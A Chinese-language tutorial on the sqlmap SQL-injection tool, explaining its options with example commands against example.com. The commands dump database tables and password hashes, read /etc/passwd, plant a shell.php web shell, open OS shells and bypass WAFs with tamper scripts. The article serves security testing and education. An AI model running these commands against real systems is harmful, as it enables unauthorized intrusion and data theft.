sqlmap常用命令与参数详解
sqlmap 常用命令与参数详解
sqlmap 是一款开源的自动化 SQL 注入工具,它可以自动检测和利用 Web 应用程序中的 SQL 注入漏洞。由于其强大的功能和灵活性,sqlmap 成为渗透测试人员和安全研究人员的首选工具之一。本文将详细介绍 sqlmap 的常用命令和参数,帮助读者更好地理解和使用这款强大的工具。
1. 基础用法
sqlmap 的基本用法非常简单,通常只需要提供目标 URL 即可开始扫描:
bash
sqlmap -u "http://example.com/page.php?id=1"
这条命令会让 sqlmap 尝试检测 http://example.com/page.php?id=1
这个 URL 是否存在 SQL 注入漏洞。
2. 常用命令选项
sqlmap 提供了大量的命令选项,用于控制其行为和功能。下面列出了一些最常用的选项:
-u
或--url
: 指定目标 URL。这是最基本的选项,必须提供。-d
: 直接连接到数据库,而不是通过 Web 应用程序。需要提供数据库连接字符串,例如:-d "mysql://user:password@host:port/database"
。-r
: 从文件中读取 HTTP 请求。这对于测试复杂的请求或绕过 WAF 非常有用。可以使用 Burp Suite 等工具捕获请求并保存到文件中。-p
: 指定要测试的参数。默认情况下,sqlmap 会测试所有 GET 和 POST 参数。可以使用-p
选项指定要测试的特定参数,例如:-p "id,username"
。--data
: 指定 POST 数据。当目标应用程序使用 POST 方法提交数据时,可以使用--data
选项提供 POST 数据,例如:--data "username=admin&password=123456"
。--cookie
: 指定 Cookie。当目标应用程序需要登录才能访问时,可以使用--cookie
选项提供登录后的 Cookie,例如:--cookie "PHPSESSID=abcdefg1234567"
。--level
: 指定测试级别。sqlmap 有 5 个测试级别(1-5),级别越高,执行的测试越多,花费的时间也越长。默认级别为 1。建议从级别 1 开始,逐步增加级别。--risk
: 指定风险级别。sqlmap 有 3 个风险级别(1-3),级别越高,执行的测试越具有破坏性,可能导致数据丢失或服务不可用。默认风险级别为 1。建议在测试环境中使用较高的风险级别。--dbms
: 指定数据库管理系统(DBMS)。如果已知目标应用程序使用的 DBMS,可以使用--dbms
选项指定,例如:--dbms "MySQL"
。这将加快 sqlmap 的检测速度。--os
: 指定操作系统。如果已知目标服务器的操作系统,可以使用--os
选项指定,例如:--os "Linux"
。-
--technique
: 指定 SQL 注入技术。sqlmap 支持多种 SQL 注入技术,包括:B
: Boolean-based blind(基于布尔的盲注)E
: Error-based(基于错误的注入)U
: Union query-based(基于联合查询的注入)S
: Stacked queries(堆叠查询)T
: Time-based blind(基于时间的盲注)Q
: Inline queries(内联查询)
默认情况下,sqlmap 会自动选择合适的技术。可以使用
--technique
选项手动指定要使用的技术,例如:--technique "BEU"
。
*--threads
:设定线程数,加快检测速度。
*--batch
: 自动选择默认行为。当 sqlmap 提示用户输入时,如果使用--batch
选项,sqlmap 将自动选择默认行为,无需用户干预。
*--flush-session
: 清除当前会话。
*--tor
: 使用Tor匿名网络。
*--proxy
: 使用代理服务器。
*--random-agent
:使用随机的User-Agent。
*--tamper
: 使用 tamper 脚本对请求进行修改。tamper 脚本可以用于绕过 WAF 或对数据进行编码。sqlmap 提供了许多内置的 tamper 脚本,也可以编写自定义的 tamper 脚本。
3. 信息获取
一旦 sqlmap 检测到 SQL 注入漏洞,就可以使用以下选项获取有关数据库的信息:
--dbs
: 列出所有数据库。--current-db
: 获取当前数据库的名称。--tables
: 列出指定数据库中的所有表。需要使用-D
选项指定数据库名称,例如:--tables -D "mydatabase"
。--columns
: 列出指定表中的所有列。需要使用-D
选项指定数据库名称,-T
选项指定表名称,例如:--columns -D "mydatabase" -T "users"
。--dump
: 转储表中的数据。需要使用-D
选项指定数据库名称,-T
选项指定表名称,-C
选项指定要转储的列,例如:--dump -D "mydatabase" -T "users" -C "id,username,password"
。--dump-all
: 转储所有数据库中的所有表的数据。这可能会花费很长时间,并且产生大量数据。--search
: 在所有数据库中搜索指定的表或列。例如:--search -T "admin"
将在所有数据库中搜索名为 "admin" 的表。--current-user
:获取当前数据库用户名。--users
:列出所有数据库用户。--passwords
:尝试获取数据库用户的密码哈希。--privileges
:查看数据库用户的权限。--roles
:查看数据库用户的角色(仅适用于支持角色的数据库,如Oracle)。--is-dba
:检测当前用户是否为数据库管理员。
4. 文件系统访问
如果数据库用户具有足够的权限,sqlmap 还可以用于访问目标服务器的文件系统:
--file-read
: 从文件系统中读取文件。需要指定要读取的文件的路径,例如:--file-read "/etc/passwd"
。--file-write
: 将文件写入文件系统。需要指定要写入的文件路径和本地文件路径,例如:--file-write "shell.php" "/var/www/html/shell.php"
。--file-dest
:指定写入文件的绝对路径。
5. 操作系统命令执行
如果数据库用户具有足够的权限,sqlmap 还可以用于在目标服务器上执行操作系统命令:
--os-shell
: 获取一个交互式的操作系统 shell。sqlmap 会尝试上传一个 shell 到目标服务器,并提供一个交互式的 shell。--os-cmd
: 执行单个操作系统命令。例如:--os-cmd "whoami"
。--os-pwn
: 获取一个 OOB(Out-of-Band)shell、Meterpreter 会话或 VNC 会话。这需要 Metasploit 框架的支持。--sql-shell
:获取一个交互式 SQL shell,可以在其中直接输入SQL语句。
6. 高级用法
除了上面介绍的常用选项外,sqlmap 还提供了一些高级选项,用于处理更复杂的场景:
--tamper
: 使用 tamper 脚本对请求进行修改。tamper 脚本可以用于绕过 WAF 或对数据进行编码。sqlmap 提供了许多内置的 tamper 脚本,也可以编写自定义的 tamper 脚本。- 例如:
--tamper "space2comment.py"
将空格替换为注释,用于绕过某些 WAF。
- 例如:
--eval
: 在发送请求之前执行自定义的 Python 代码。这可以用于动态生成请求数据或执行更复杂的操作。--safe-url
: 指定一个安全的 URL,sqlmap 会定期访问这个 URL,以避免被 WAF 检测到。--safe-freq
:指定访问安全 URL 的频率。--time-sec
:设置基于时间盲注的延迟时间(秒)。--second-order
: 指定二阶 SQL 注入的 URL。当 SQL 注入的结果不在当前页面中显示,而是在另一个页面中显示时,可以使用--second-order
选项指定显示结果的页面。--forms
:自动填写表单。如果目标页面包含表单,sqlmap可以自动填写表单并提交。
7. Tamper 脚本
Tamper 脚本是 sqlmap 的一个重要特性,它允许用户修改 HTTP 请求,以绕过 Web 应用程序防火墙(WAF)或对数据进行编码。sqlmap 提供了许多内置的 tamper 脚本,涵盖了各种常见的绕过技术。
以下是一些常用的 tamper 脚本及其功能:
space2comment.py
: 将空格替换为/**/
。space2plus.py
: 将空格替换为+
。space2mysqldash.py
: 将空格替换为--
并在末尾添加换行符。space2randomblank.py
: 将空格替换为随机的空白字符。between.py
: 将>
替换为NOT BETWEEN 0 AND
。percentage.py
: 在每个字符前添加%
。randomcase.py
: 随机改变字符的大小写。unmagicquotes.py
: 将'
替换为%bf%27
。versionedmorekeywords.py
: 在某些关键字前添加版本注释。charencode.py
: 对所有字符进行 URL 编码。chardoubleencode.py
: 对所有字符进行双重 URL 编码。base64encode.py
:对所有字符进行Base64编码。
要使用 tamper 脚本,只需在 sqlmap 命令中添加 --tamper
选项,后跟 tamper 脚本的名称(不带 .py
扩展名)。可以同时使用多个 tamper 脚本,用逗号分隔。
例如:
bash
sqlmap -u "http://example.com/page.php?id=1" --tamper "space2comment,randomcase"
这条命令将使用 space2comment
和 randomcase
两个 tamper 脚本。
8. 实例演示
下面通过几个实例演示 sqlmap 的用法:
实例 1:基本检测
bash
sqlmap -u "http://example.com/page.php?id=1"
这条命令将对 http://example.com/page.php?id=1
进行基本的 SQL 注入检测。
实例 2:指定数据库类型
bash
sqlmap -u "http://example.com/page.php?id=1" --dbms "MySQL"
这条命令将指定数据库类型为 MySQL,加快检测速度。
实例 3:获取所有数据库
bash
sqlmap -u "http://example.com/page.php?id=1" --dbs
这条命令将列出目标数据库服务器上的所有数据库。
实例 4:获取指定数据库中的所有表
bash
sqlmap -u "http://example.com/page.php?id=1" -D "mydatabase" --tables
这条命令将列出 mydatabase
数据库中的所有表。
实例 5:转储表中的数据
bash
sqlmap -u "http://example.com/page.php?id=1" -D "mydatabase" -T "users" -C "id,username,password" --dump
这条命令将转储 mydatabase
数据库中 users
表的 id
、username
和 password
列的数据。
实例 6:使用 tamper 脚本绕过 WAF
bash
sqlmap -u "http://example.com/page.php?id=1" --tamper "space2comment,randomcase"
这条命令将使用 space2comment
和 randomcase
两个 tamper 脚本绕过 WAF。
实例7:从文件读取HTTP请求
bash
sqlmap -r request.txt -p "username"
从request.txt
文件中读取HTTP请求,并且指定测试username
参数。
实例8:使用cookie登录后注入
bash
sqlmap -u "http://example.com/page.php" --cookie="PHPSESSID=abcdefg1234567" --data="id=1"
该命令在提供了有效的cookie并且通过POST方法提交id
参数的情况下进行注入。
9. 总结
sqlmap 是一款功能强大的 SQL 注入工具,掌握其常用命令和参数对于渗透测试人员和安全研究人员至关重要。本文详细介绍了 sqlmap 的各种选项和用法,并通过实例演示了其在实际场景中的应用。希望本文能帮助读者更好地理解和使用 sqlmap,提高 Web 应用程序的安全性。
除了本文介绍的内容外,sqlmap 还有许多其他功能和选项,读者可以通过阅读 sqlmap 的官方文档或使用 --help
选项获取更多信息。在使用 sqlmap 时,务必遵守法律法规,仅在授权的范围内进行测试。